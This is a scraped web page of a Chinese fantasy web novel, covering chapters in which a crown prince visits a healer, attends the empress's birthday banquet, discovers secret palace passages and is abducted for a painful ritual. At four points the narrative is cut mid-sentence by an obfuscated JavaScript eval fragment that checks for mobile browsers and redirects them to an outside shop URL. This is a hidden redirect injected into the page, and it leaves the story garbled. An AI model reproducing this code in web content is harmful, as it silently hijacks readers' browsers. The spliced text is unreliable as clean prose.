《太子废位进行中》 2. 医治 暗街,名副其实。秦祝方到街口就感觉天色昏暗了,阵阵凉风迎面吹来。这里好似与炎热的外界被隔开,自成一片小天地。 奚神医原名奚予棠,他的铺子好找,主街靠右走,在第一条岔道处拐进去,再走几步来到一株乌黑的老树下,旁边就是。 “奚神医!奚神医!”刚见到老树,秦祝就扯着嗓子开始喊,背着人冲在最前面,差点因没稳住步子而摔一跤。 “囔囔啥呢,我耳朵没聋都要给你震聋了。”那声音的主人睡眼惺溯,外袍松松垮垮,手指间捏着个长烟斗,依靠在檐住上,看清来人,他打趣道:“哟,这不裴韫那小徒弟吗?又打架受伤了?” “不是我。”秦祝走进店中,赶忙把背上的人放在木榻上,说道:“是他。” “我看看。你还拿裴韫给你的冰晶给他冻上了,啧,暴殄天物。”说着,奚予棠手指一点,轻松破了阿宬伤口上的冰层,他沾取伤口处的血放在鼻前嗅闻,接着又舔了口,皱眉道:“呸呸,闻着就一股恶臭味,尝起来更是差,这银环蛇毒提取的太差了。” 见奚予棠满脸嫌弃,秦祝咽了口水,好奇问道:“很难吃吗?” 奚神医拿帕子,低头细细擦拭手,带有几分骄傲地说道:“不及我做的半分。” 后来的戚灼玉听到这段对话也忍不住嘴角抽搐,但她还是担忧地问奚予棠:“神医,阿宬他现在怎么样了?” “戚家那小丫头?你现在也穿男装偷跑出来玩了。脸上涂的什么玩意,赶紧洗把脸擦掉,当心坏了脸。”奚予棠瞟了她一眼,眸中尽是无奈,随后走到药柜前抓药,边配药边说道:“有重溟冰晶冻住毒素,毒素散短时间内散不开,一会给他泡个药浴逼出毒素,再灌一副药,人又生龙活虎了。” 闻言,戚灼玉脸瞳孔一震,尴尬地摸了下脸,心想我与神医素未谋面过,他是如何认出我的?但凭借多年在京城生活的经验,戚灼玉很快敛容正色,双手合抱在胸前,恭敬道:“多谢神医相救。如若神医不嫌弃,往后戚家名下药铺的药材任您挑选。” “戚大小姐不必如此客气,付正常的药费即可。”奚予棠摆摆手,转头朝里屋喊到:“小玤烧水去,这里有人要药浴,快。小迢你来前堂把药包拿进去,顺便带戚小姐把脸洗干净,再给她抹点玉肌膏。好好一张脸可别坏了。” 话音刚落,一个梳着丱发的小女童走了进来,奚予棠把手中刚抓好的药包给她,接着对秦祝道:“阿珞,一会要灌药,把那个病患的面具摘下来。真是的,你们也不担心他呼吸不畅。” “奚神医,你这就冤枉我了,我试过了,压根摘不下来。要不然我早就给他喂焉酸丹了。”秦祝的手捏着袖口搓起来,看着奚予棠的眼睛,真诚道。 “裴韫他都舍得把焉酸丹给你!”奚予棠那双细长的垂凤眼猛地睁大,双手扣住秦祝肩膀。 这一刻,秦祝仿佛听见了奚予棠咬碎后牙槽的声音。 “奚神医,你先等等,这里还有病患呢,患者优先。”秦祝使劲往阿宬那处抛眼,眼皮都要抽筋了。 “罢了,我自己去找裴韫问清楚。你先把人送到里屋的药桶离去。还有,焉酸丹记得保存好,不要随便拿给别人看或吃了,听到没?”奚予棠重重戳了秦祝额头几下。 “唔,知道了。”秦祝连忙捂着额头后退。 奚予棠这才满意地来到阿宬身前,伸手去摘掉他的面具,同时撇了眼秦祝,轻笑道:“回头我就要嘲笑裴韫,教了这么久的徒弟竟还。” 突然,奚予棠的笑声戛然而止,因为他也没摘下。 “噗!”秦祝没忍住笑出声。 “笑什么笑,再笑我就把你偷跑出去玩的事全告诉裴韫。”奚予棠耳尖泛红,用灵力又试了两三下才摘掉面具,他眼中不由闪过丝疑惑。 面具下的脸没有想象中的俊美,甚至平平无奇,属于放在人海中后一秒就找不到人的那种。 秦祝忽然想到什么,把阿宬送到药桶里之后又回到奚予棠这。 戚灼玉结完药钱就去陪阿宬了。 “说吧,有什么想问的尽管问。”奚予棠坐在藤椅上,一只手托着长烟斗,另一只手支在桌面上撑着头。 “你是不是……有办法联系到我的辰令?”秦祝纠结一会还是问道。 “嗯?”奚予棠没有想到秦祝会问这个,愣了会才开口:“你想多了,我联系不到。” “我可以把焉酸丹给你。”秦祝诚恳地看着他。 “说了没办法。”奚予棠拿烟斗狠狠敲了下秦祝的头,恨铁不成钢道:“才跟你说过要把焉酸丹收好,不要总展现在别人面前。” “可神医您也不是外人啊”秦祝捂着头,嘀咕道。 奚予棠听力极好,他的耳尖再次泛红,靠在藤椅上,阖眼,嘬了口长烟斗,缓缓吐出一缕白烟,悠悠说道:“今天这个中毒少年跟你什么关系?” 秦祝耷拉着脑袋:“不认识,怎么了吗?” 奚予棠坐起身,手撑着头:“我总感觉他的血味道怪奇怪的。” 秦祝抬眼看他:“你当初也说我的血闻起来也很不一样。” “这性质不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061206|149272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。”奚予棠不紧不慢吐出口白烟,看向秦祝:“怎么还恹恹的,你也中毒了?” 秦祝仍耷拉着脑袋:“没有,我分明很高兴。” 奚予棠将手中长烟斗放在桌上,从藤椅上起来,转身进里屋后轻啧一声,心道:我得去问裴韫给他徒弟灌了什么迷魂药,当朝太子俨然一副《日不见似三秋》话本里的小寡妇样。 秦祝心思神游没注意到奚予棠离开,直至戚灼玉从里屋里出来,拍他的肩,感谢道:“今日之事多亏有你”,秦祝才回过神来。 此时,戚灼玉已经洗净,露出原本白皙的皮肤,即使一身粗糙麻布衣也难掩那如出水芙蓉般的卓越风姿。 “我可不是今日的功臣。”秦祝摇头,指向身旁的玄炎,笑道:“喏,这才是今日的大功臣,要不是它拉住我,我还真来不了。” “是吗?”戚灼玉蹲下,揉了揉玄炎毛茸茸的大脑袋,并亲了一下,嘴角漾出笑容:“好玄炎,下次给你带大肘子。” “旺旺!”玄炎高兴地甩尾巴。 “你们今天是单纯被劫财?还是被哪伙势力追杀?”秦祝问。 戚灼玉手上动作不停,抬头看向秦祝:“有猜想,但外面不是适合讲话的地,过几日阿宬伤好些了,我入宫来同你细说。” 秦祝点点头:“好。” 戚灼玉起身,理了理衣裳,接着说道:“你也是背着裴辰令偷偷出宫的吧,快回去,别被抓了。过会儿,我也要带阿宬回府了。” “嗯。”秦祝拍怕身旁趴下的玄炎,道:“走吧,锦珍阁估摸着快关门了,我们还要买葡萄酥山。” 天黑之前,秦祝和玄炎赶回了东宫,刚翻下墙就看见了桉叶那一张怨气十足的脸。 秦祝见状决定先发制人,他率先服软抱住道:“好桉叶,我这不是回来嘛,还给你带了你最爱的葡萄酥山,你看。”说着,他把食盒塞到了桉叶手上。 接过食盒,桉叶幽怨的脸上出现一丝感动,但开口时的语气还是十分疲倦:“殿下,要不您再招个贴身侍卫吧。” 秦祝握住桉叶另一只手,眼神真挚看着他问道:“桉叶可是嫌月钱少了?我可以再加。” 分明是双狡黠的狐狸眼,可在秦祝脸上就格外明净纯粹,总能让人看着心里软软的。 桉叶嘴角抽搐,欲言又止良久,最终长叹口气道:“您给的够多了。放眼整座皇宫,没有哪位主比您开的月钱多。” 闻言,秦祝眉宇舒畅,拍拍他的肩,爽朗大笑:“那就好。放心跟我混,有我一口,就一定会有你一口。” 3. 宫宴 往后一周,秦祝老老实实地待在宫中,因为他不确定戚灼玉会几时入宫来找他,担心错开,再者天也热。他这一等便等到了皇后千秋宴那日。 当朝皇后林嫣出身九牧世家林氏。虽称不上大门阀,但林家祖上人才辈出,同时也注重同其他世家大族联姻,因此林家在京中算得上一门炙手可热的权贵。偏偏在林皇后父亲林辉如这里却出现例外,他力排众议娶了一个孤女为妻,从此成了世族贵族间茶余饭后的笑料,可自从秦轩尧登基封林嫣为后,虚设六宫起,这件事就变成了一段佳话。 太监扯尖嗓子高声道:“太子献上红玉凤凰一尊——” 这尊红玉凤凰高一尺,通身沁红,艳比朱砂,似涅槃火凤昂首啸天,欲翱九霄,威仪非凡,在阳光的下熠熠生辉。 在场众人无不惊呼,不少夫人眼中尽是羡慕之色。 秦祝两眼弯成月牙,笑得灿烂,两手合抱行礼,说道:“儿臣祝母后万寿无疆,凤体康泰。” 林嫣端坐在紫檀镂凤宝座上,头戴十二花卉东珠凤冠,面容姣好,长久以来积攒的威望使她看起来不怒自威。她抬手示意秦祝平身,看向秦祝的眼光柔情似水,嘴角微微上翘:“阿珞费心了,这红玉凤凰本宫甚喜。快落座。” 今日来送礼祝贺的夫人们大半是来巴结皇后的,恭贺祝词也都千篇一律。秦祝坐在一旁手托着下巴,听着甚是无趣,正悠闲地吃点心,突然感觉有数道目光停留在自己身上,他看去,是几位夫人们——她们时不时扭头互相掩面说悄悄话。 秦祝顿感不妙。 莫不是又盘算给我说亲?这个不行,他心想。 秦祝用求助的眼神看向林嫣。 林嫣有所察觉,也看向他。 秦祝挤眉弄眼,眼睛不断往窗外瞟去。 林嫣心领神会,微笑颔首。 秦祝麻溜从后门逃出,在凉亭碰到了今日随长辈一同入宫的友人,安国公之孙李怀尹。 两人相视一笑,掏出了随身携带的装蛐蛐用的竹筒。 李怀尹自信满满:“今日我肯定赢。” 秦祝挑眉轻笑:“这么自信啊,九比一。”他特意把一字的尾音拖地很长。 李怀尹气得牙痒痒,狠狠瞪着他。 二人把蛐蛐放入盆中,用引草使两只蛐蛐进入焦躁状态。两只蛐蛐竖翅鸣叫,壮大声威,紧接着开始打斗,愈战愈凶。秦祝的绛牙大将军咬住李怀尹的玉面大将军不松口,玉面大将军废了不少功夫方才挣脱,但此时它的状态已经大不如当初了。 见状,李怀尹握紧的拳头开始冒汗,呼吸也渐渐紊乱,他咬着唇,死死盯着场中局势。 就在马上要分胜负时,桉叶急匆匆跑过来,插着腰,气喘吁吁的说道:“殿下别斗蛐蛐,出事了。” “怎么了?”秦祝目不转睛地看着盆里打架的蛐蛐。 “今日入宫的贵女们又在找戚大小姐麻烦了!”桉叶焦急道。 “什么?”秦祝猛地抬头,皱眉不悦:“灼玉姐现在人在哪?这群贵女闲得慌吧?” 桉叶道:“回殿下,在翠馨湖。” 秦祝对李怀尹抱歉的笑道:“今天这算平局吧,改天再打,放松点。虽然灼玉姐肯定不会吃亏,但此事多半因我而起,我得去看看”。说罢,他拍怕桉叶的肩膀,又道:“你帮我把绛牙大将军收回罐中。哦,还要给它点新鲜菜叶,一定要嫩,它挑食。” 桉叶看向那只叫得欢快的蛐蛐:“......好的。” 秦祝身为至今唯一的皇子,即使再不着调,继承皇位也是板上钉钉的事。无数名门贵女盯着太子妃的位置。但一直有传谣,戚家大小姐戚灼玉是内定的太子妃,因为她有个是皇后闺中密友的母亲,所以每次宴会上,戚灼玉都是被众贵女孤立欺负的对象。 翠馨湖边,一群少女聚在湖边,气氛剑拔弩张。 戚灼玉身旁粉衣少女双手叉着腰,愤愤不平说道:“你们想当太子妃就去搭讪太子,别总是欺负灼玉!” 这个少女是尚书令幺女,温楠。 “我们说错了吗?她分明在外同其他男子厮混。”一个紫衣少女指着戚灼玉高声说道,她是黄门侍郎之女,柳芊。 “哎,柳家妹妹声音还是声音小点,这里可是在宫中。私会外男的事传要是出去,戚家姐姐的名声还要不要啦?”另一个少女以扇掩面,轻笑道,她是中书令之女尤姝琴。 “你!”温楠气得脸涨红。 “戚家姑娘素来温良贤淑,深得皇后娘娘喜爱,诸位姐妹平时也是看在眼里的,应当不会做出此等腌臜之事吧?”说话的少女面带惋惜之色,她是这群贵女之首,骠骑大将军嫡次女陆灵欣。 此言一出,其余贵女纷纷说陆灵欣太单纯了,戚灼玉表里不一,德行不佳。 戚灼玉的双拳默默攥紧,又松开,如此反复,她的脸竟开始泛白。 温楠撸起袖子欲上前干架,也被她拦住。 “哎呀呀,这里好热闹,诸家小姐聚在这里玩什么呢?”秦祝赶来,他摆出一副纨绔子弟的姿态,笑嘻嘻地挡在戚灼玉和温楠二女前面,只是他眼中的笑意不达眼底。 见太子来,众贵女脸上带有丝羞涩,屈膝行礼,异口同声说道:“臣女见过太子殿下。” 秦祝摆摆手说道“免礼”,对着为首的陆灵欣笑道:“听说母后御花园召集各家小姐夫人们赏花,诸家小姐怎么还不去?” 听到秦祝提及皇后娘娘,多数贵女眼中闪现喜色,也有少数贵女眼神一暗,但都说道:“臣女先告退。” 待确定人都走远后,秦祝才转身,担忧问到:“灼玉姐,你......还好吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061207|149272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戚灼玉摇摇头,说道:“无事。” “那没事啦?”温楠突然囔囔道:“每次都是因为太......” “温楠。”戚灼玉出声打断她,随后温声道:“阿珞,我们坐亭中去聊吧。” 秦祝答道“好”,并对桉叶吩咐:“带温小姐去休息一下。” 桉叶点头应下。 温楠不乐意,小脸气鼓鼓的,还欲说话,可刚张口就被桉叶强行带走了。 在亭中坐下,戚灼玉率先开口道:“那天和我一起的少年叫阿宬,是我一年前结识的一位志同道合的友人。现在我们一起在西区救济贫民。近来阿宬说手头紧,在我家当侍卫。他那天的伤还没好完全,今日就没同我进宫。” “那天的歹徒呢?”秦祝追问道。 戚灼玉叹口气,摇头道:“你也知道的,京中势力盘根错节,最近更是风云涌动。” 秦祝手摸了摸下巴,沉思半响后说道:“据我所知来京中又出现不少起盗贼入室和歹徒劫人案,但还没发现歹徒行事的规律。” 戚灼玉突然严肃,正视秦祝说道:“只怕这是场密谋。阿珞,往后要多加小心。” 秦祝淡淡“嗯”了声,心中不由得担心起辰令现在的情况,转头往国师宫的方向看去。 天空万里无云,阳光明媚,但秦祝却隐隐感觉国师宫的上空乌云密布。 二人在亭中又聊了一会,却都对刚刚发生的事缄口不言。 千秋宴结束之后,东宫华宁殿—— 秦祝坐在书案前,握着豪笔,呆呆盯着桌上的埙,笔尖的墨在纸面绽开一朵颇大的墨花。 忽然,传来一阵敲门声。 秦祝眉梢轻扬,眼中有光,尾音带有些兴奋:“谁?” “回殿下,是我,桉叶。” 秦祝又恢复先前的姿态,有气无力地道:“进。” 桉叶推门而入道:“殿下,今日国师宫派来向皇后娘娘送礼的仙使给您带了一封信。” “快!快给我看看!”秦祝从椅上蹦起,夺过桉叶手中的信,他仰面把信举高,激动说道:“就知道辰令心中还是有我的!” 秦祝迫不及待地拆开信,但信中内容使他瞬间脸色灰白。 吾徒秦祝亲启: 鄙寓均安,可释远怀。 不出一周,余将归。届时汝若课业未成,余定重罚。 裴韫 裴韫的书法在京中称得上一绝,字迹工整,遒劲有力,但秦祝现下无心欣赏。 “课业”二字一直在他脑中徘徊,他转头问桉叶:“我的课业还有多少没完成?” 桉叶耸耸肩,老实回答道:“回殿下,您至今一字未动。” 秦祝身子一僵,直直往身后的床上倒去,一只手遮住眼睛,哭嚎:“救命,补不完啊!” 4. 密道 子时,东宫华宁殿中还亮着灯。 秦祝坐在书案前,神情凝重,烦闷地抓挠头发,手中豪笔写也不是,搁也不是。 一晃,几炷香的时间就去了。 “这到底怎么写啊。” 秦祝眉头越皱越紧,似可以夹死只苍蝇,他死死盯着眼前的题——何为君王之道。 桉叶端着杯温水上前,轻声说道:“殿下,现已丑时,歇歇吧。” 秦祝接过水一口干下,趴在桌上,把头埋在臂弯里,侧头露出只水汪汪的眼睛望向桉叶,软声道:“桉叶,我不会写。” “殿下加油。裴辰令回来看到您自己完成课业一定会很欣慰的。”桉叶在说“自己”时特意加重音。他心知秦祝又想让自己帮写,但上次被裴韫发现,就挨了十几杖板子,现在想回起来屁股还隐隐作痛,实在是爱莫无能。 “是吗?”秦祝嘀咕,随后坐起,胡乱翻了翻那些未完成的课业,手指并揉太阳穴,愁闷说道:“何为帝王之道?如何权衡世家、将门、清流?怎样防止宦官专权......辰令真的讲过吗?我没半点印象。” 还不是因为您平时不听课,桉叶默默翻了个白眼,内心没好气道。 但还是心疼他,毕竟谁都清楚秦祝不是当君王的这块料,想到这桉叶心软下几分,温声道:“殿下不妨去藏书阁看看,说不定有答案。现在在天亮之前还是先歇会吧。” “行吧。”秦祝咂嘴,知桉叶不会再帮他写,转身倒在床上就累睡着了。 “殿下,先洗漱再睡啊。”桉叶叫了几次,秦祝都不起,反而整个人缩进被褥里。 桉叶无奈叹了口气,把被褥拉下,确保秦祝不会闷缺气,再压好被角,最后熄灯,轻手轻脚退出去。 次日,藏书阁的侍卫看到了一大奇景——当朝太子秦祝,他竟然来藏书阁了! 莫不是来搞破坏消遣的吧?侍卫们瑟瑟发抖。 他们僵硬地向秦祝行礼,紧张说道:“见,见过太子殿下。” 秦祝见此,理了下额间碎发,干笑回应:“嗯,你们看守辛苦了。” 秦祝本意是为了缓解气氛,结果侍卫们更惊恐。 他们急忙摇头:“不辛苦,不辛苦。” “.......”秦祝不由得开始陷入自我反思,明明我长得也不渗人,他们为什么起来更害怕了,难道我的名声已经恶臭到此等地步了吗? 不过藏书阁的守卫是不是变多了,秦祝转念又想到。 宋曲建国已有五百多年的历史,经历长久岁月的侵蚀和战争炮火的洗礼,整个皇宫不知都被翻修了多少遍,唯有这座藏书阁,自祖皇帝时期建立起来,仅有的一次受损是先皇秦契所致。传闻秦契疯了,在藏书阁中放了把大火自焚。藏书阁因此塌了半边,但也只被简单修葺,因而这栋藏书阁算得上是整个皇宫内最古老的存在。 秦祝在这一找就是几个时辰,他从一楼找到二楼,又从二楼找到一楼,终于写完了所有课业。 “累死了。”秦祝摊在椅子上,揉着发酸的手腕。 忽然,他听见一阵细微的“吱吱”声。 藏书阁进老鼠了,不会是来吃书的吧?秦祝想,那我得抓住它,可不能让它糟蹋了书。 秦祝搓搓手,猫着腰悄悄走过去,结果发现墙上突然出现了一条通道。 “哇塞。”秦祝惊讶,好奇地向下走去。 道内黑漆漆的,隐隐约约有股焦味。 秦祝掏出裴韫送他的夜光珠,缓慢地摸索前行,直至走入密室内才见有微光。 室内烛火明灭,到处可见大火燃烧过的痕迹。 秦祝拿手轻轻扫去木架上的灰,随手拿起几本书看了眼。 “《宋曲东宫录》、《宋曲开国功臣册》......我还以为藏在这里的书都是稀世孤本呢。”秦祝眼中闪过失望,这些书大多外面都能买到,这本《宋曲东宫录》虽然没有被流通,但也是历来太子的被册封后的必读书目。 秦祝放下书,余光瞥见墙上挂着的蒙尘画像。 秦祝上前,眯着眼仔细瞅,突然看到了一副熟悉的面孔,他瞳孔紧缩,心中惊呼道:“这是.......父皇!那这些画像上的岂不都是历代国君们。” 倒数第二幅画引起了秦祝的特别关注,这幅画是唯一一个出现破洞的。 “这是被老鼠啃了?”秦祝伸手取下画,近距离打量起画上人。 很快,画中人一袭绿衫,身材高挑,但似乎过于单薄。他目光灼灼,注视前方,两眼含笑,凌厉的眉目间竟尽是柔情,手拿折扇,俨然翩翩君子样。秦祝目光渐渐下移,在破洞边努力识别出两个字——秦契,暴君先皇! 但这也与外面画本子中描绘的烧藏书阁的疯子模样相差太多了吧,秦祝心想。 他伸手轻轻拂过画像,喃喃道:“分明年少时也是一位能领兵平息五王之乱,亲民爱民,受百姓爱戴的太子,但为什么会选择登基后斩杀自己生父,落得自焚于藏书阁的结局。到底是为何而疯?真让人好奇。” 史书上对这位暴君疯的原因记载道,先先皇昏庸无道,喜好美色,三番几次为了宠妃险些废了皇后,秦契身为中宫嫡子幼时遭遇也悲惨,因此性格扭曲,登基后愈发恶劣,渐渐成了疯子。 但秦祝看着画上的男子,脑海中忽然浮现出他之前在民间话本上看到的另一个说法,先皇秦契爱上了他的辰令,但后面辰令参与五王之乱被他亲手斩杀,至此失去挚爱的他每逢午夜梦回,声泪俱下。后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061208|149272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面发现辰令的死与先先皇有关,气愤之下斩杀生父,最后自己把自己折磨疯了。 “是谁?有人进入密室了!” 听见外面忽然传来声响,吓得秦祝回神,急忙把画像挂了回去:“不是吧,我这闯禁区了?” 声音越来越近。 “快来人!” “快去禀告陛下!” 秦祝往身旁的柜子里躲去。 “咳咳,欸,全是灰。”他捂住嘴,用手扇了扇灰。 通过柜子缝,秦祝看到一个黑影急匆匆跑过,后面还跟着几个挂着山羊胡的老者。 “原来不是发现我了。” 秦祝舒口气,往后一靠,突然背后的木板开了。 “哄——”他摔在了地上。 “哎呦,痛死我了。”秦祝揉了揉腰,爬起身,结果发现自己又进入了另外一条密道。 “这皇宫怎么到处都是密道。”秦祝又向前摸索去。 这条密道明显不同于上一条,没有经过修葺,黄泥路到头。 “没路了?”秦祝观察片刻后,抬头,发现上面有块木板。 “一二三——”秦祝使劲顶开木板。 “哄——”一堆土迎面砸了下来。 “啊呸,呸,呸。”秦祝吃了不少土,但终于是看到天空了,他急忙翻出密道,拍拍身子,原地蹦跶两三下。 “这里是......”秦祝抖去泥土,四处张望,附近的景物越看越觉得眼熟,突然一道身影扑到他怀里。 秦祝没准备,整个人被扑倒在地上,定睛一看怀中身影,他震惊道:“玄炎?” 玄炎欢快的叫了几声,摇摇尾巴。 “这难不成......是东宫花园?”秦祝满头雾水,他在东宫住了十一年,竟然从不知道花园还有密道。 他一时间陷入沉思。 黑衣人、会武功的老者、历代国君的画像......那个密室一定隐瞒了什么。万一黑衣人没有被抓到,那么今天出入藏书阁的人绝对会被严查.......而我没从正门离开......完了,这下跳进黄河也洗不清了! 秦祝现在已经想到父皇召见他时痛心疾首地询问的场景了。 “清白没了啊......嗯......怎么脸上突然湿湿的?”秦祝开始还以为自己悲伤哭了,结果回神一看,玄炎正趴在他身上面前哈舌头。 “玄炎,别舔了。”秦祝抹了把脸上的口水。 “旺。”玄炎又舔了口。 “哈哈哈,好痒,快住嘴,哈哈哈。”秦祝痒得直笑,心中的担忧暂时被抛在脑后,与玄炎打闹在一块。 然而几天后,他没等到父皇的传召责问,反等来了戚灼玉失踪的消息。 5. 被抓 据暗卫来报,戚灼玉最后一次出现是在西区。 西区是整个京都最穷的地方。近半年来大旱酷暑,不少河流干涸,在这种极度缺水状况下,庄家也长不成,家畜饿的饿死,渴的渴死。无奈,走投无路的农民沦落为难民,逃往京城,在西区安家。还有些财力的原居民也因此大量搬走,如今这块地方已然成了收容所。 来之前秦祝特意在身上涂了黄泥土,抹了草木灰衣,找了件有味的残破麻布衣。他瞧着铜镜中蓬头垢面,衣衫褴褛的自己甚是满意,心想这回应该不会露馅,但他一来还是吸引了不少目光。 此地四处弥漫着发酵的腐烂腥臭味,蝇在空中乱飞,骨瘦如柴的难民靠在路边,偶尔有几个有力气的在互相抢食。 糟糕的气味直入鼻腔,胃海在翻涌,几次涌至咽喉,秦祝按住腕掌横纹中点向上三横指处,努力抑制想呕的冲动。 调理好后,秦祝学做其他乞丐的模样,怀里揣着个碗,挨家挨户听戚灼玉的下落。 “请问你见过我姐姐吗?看起来十八九岁的样子。” “没有。”大娘缓缓打开一条门缝,见清来人又飞速关上。 “请问。” “没吃的,快滚。”这家主人暴躁吼道,门也没开。 十间屋子有七八间的屋主都没开门。很快,一条巷子也走到了头,秦祝询问无果之时,忽然瞥见了一个坐在墙边的瘦弱老人。 看着他可怜,秦祝从怀里摸出张今早没吃的饼子,递给老人:“老人家快吃吧。” “真好心呐,圣子大人。”老人轻声道,抬起头,伸手接过,一双浑浊的眼睛直勾勾地盯着秦祝。 秦祝虽然没听清老人再讲什么,但莫名觉得老人那双眼看人瘆得慌,转身欲离开。 突然,秦祝感到脖颈处酥酥麻麻的,砰的一下摔在地上,眼前事物渐渐模糊。 “终于抓到您了。” 阖眼前,秦祝看着老人利索地站起身,大步迈过来。 再次有意识时是被周身疼痛疼醒。 “嘶。”秦祝感觉头痛要裂开,半晌意识才清晰些,他发现自己现在身处一汪未知的液体之中,想要起身但又发现自己的双手和双脚都被铁链紧锁,行动受限。 “不愧是先天灵体,居然就醒了。” 话语间,秦祝看到两个身穿祭祀服的人走过来,其中一个正是先前摆摊的老人,他手上捧着个精致的银碗。 “先天灵体?那是什么?臭老头!”秦祝挣扎,怒视瞪他。 “看来你还什么都不知道啊,圣子大人。不过没事的,我会带您走向新生。”说着,老者走到浴池前,高捧银碗,碗中液体倾泻而下。 “圣,啊。”秦祝话没说完就感到一股炙热钻入肌骨,分明是在水中,却觉得此时宛若置身于烈火之中淬炼。 “老头,你们到底想做什么!”秦祝疼到双手死死扣住水池的池壁,一抹殷红在池底散开来。 “还能讲话,资质不错。苗二,上凤血。”老者回头对身边的年轻人说道。 “苗二”听命上前,从腰间行囊中取出一小瓶,向池中滴入一滴紫红的血液。 “啊——”这次的疼痛感更强,秦祝脸色惨白,感觉自己的骨头都要融化殆尽。 秦祝痛苦挣扎,四肢腕踝处被铁链紧紧锁住,动不得分毫。 血肉同金属摩擦,痛不堪言。 “辰令,好痛......”秦祝恍惚间好像看见了裴韫,他此时眉头紧锁,看向自己的眼神中满是失望与嫌弃。 裴韫生得极俊,如瀑的乌发单用一根绳子束起,随意垂在脑后,整张脸像是用玉石精心雕琢的,鼻梁高挺,薄唇粉淡,像误入凡尘的上仙。秦祝鲜少见他笑过,裴韫的眉目间似覆着冰霜,总给人淡漠疏离之感。可秦祝总觉得裴韫看向他的眼神慢慢多了几分悲悯。 这种感觉是从什么时候开始的呢? 秦祝现在痛得想不起来。 秦契在位时手段铁血,即使是野心勃勃的权臣也不敢直面其锋芒,但他死的太突然了。父皇年少匆匆继位,再加上他本人是秦契从宫外捡回来的,皇室身份存疑。这导致早年时大臣们对他严重不满,可碍于秦契留下的麟卫,又得几位老臣的全力扶持,没人敢造反。后来有所政绩,大臣们才逐渐信服他。但也不乏有怀藏鬼心的臣子,为此在很多事上,父皇一退再退,其中就包括他的事。 大多孩童是藏不住心事的,有恩报恩,有怨报怨,事事讲究个明了。秦祝也不例外,少时打过不少架,但不论对错,受罚的人大多都是他。 不是没有委屈过,想当堂对峙。但母妃每次都拉住他的手说,乖孩子受委屈了,但你父皇也有苦衷。 可自从拜了裴韫为辰令,每次打架后在争对错这个事上从未输过,没人敢不忌惮神秘莫测的国师府。 “裴,韫......啊。”剧烈疼痛感来袭,秦祝直接晕了过去。 不知过了多久,他又痛醒。那两个老头已经不见了。 秦祝呼吸微弱,只觉疼痛的厉害,骨头像是全断碎一般,浑身无力,声也发不出来。 秦祝就这样浸在水中,呆呆望着顶板,突然他注意到上方还像是个藻井。其中的雕刻物被腐蚀,现已具体看不出是什么,估摸是个长条状。 想的入神之际,秦祝耳边忽的响起男女的对话声,他人一激灵。 “这就是真正的灵子吗?”这是一道温柔的男声。 “我觉得是,这个闻味道就舒服多了。”这道是女声,灵动俏皮。 到底是谁在讲话啊!秦祝只见一道细长的身影闪过。 秦祝:“!” “唰,唰。” 眼前又有一道身影闪过。 紧接着,他眼前出现了两条蛇。 定睛一看,两蛇一绿一红,体格庞大,正在他面前吐信子。 秦祝吓得想蹦出两米开外,可惜他现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061209|149272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身体瘫痪。 不过两条蛇对秦祝似乎没有恶意。 对话声还在继续: 男声:“长得真像,难怪那几个家伙会搞混。” 女声:“他是不是被我们吓到了。还是快把他送出去。” 秦祝分清了,说男声的是绿蛇,讲女声的是红蛇。 红蛇继续道:“我瞧着先前那个男人是来救他的。” 秦祝想,会是辰令吗? 绿蛇道:“那两人正面对抗混血占不到上风。过会那个男人应该就来了。” 混血种?秦祝大脑轰的一下炸开,今日接受到的信息量太多了。 “哎,沐之。这小子,好像能听懂我们讲话。”红蛇看着眼睛陡然睁大的秦祝好奇道。 “是吗?我麻痹你的痛觉,好好睡一觉吧。下次再见。”绿蛇说着就一口咬住秦祝的胳膊。 被咬之后,秦祝感觉身上的疼痛慢慢消失。取而代之的是浓浓的困意,他沉沉地睡去。 下次醒来是被天花板渗水给浇醒的,秦祝发现他身处的池子中的水已经干涸,手上的铁链也被解开了,只是疼痛在随着麻痹感的减弱而再次出现。 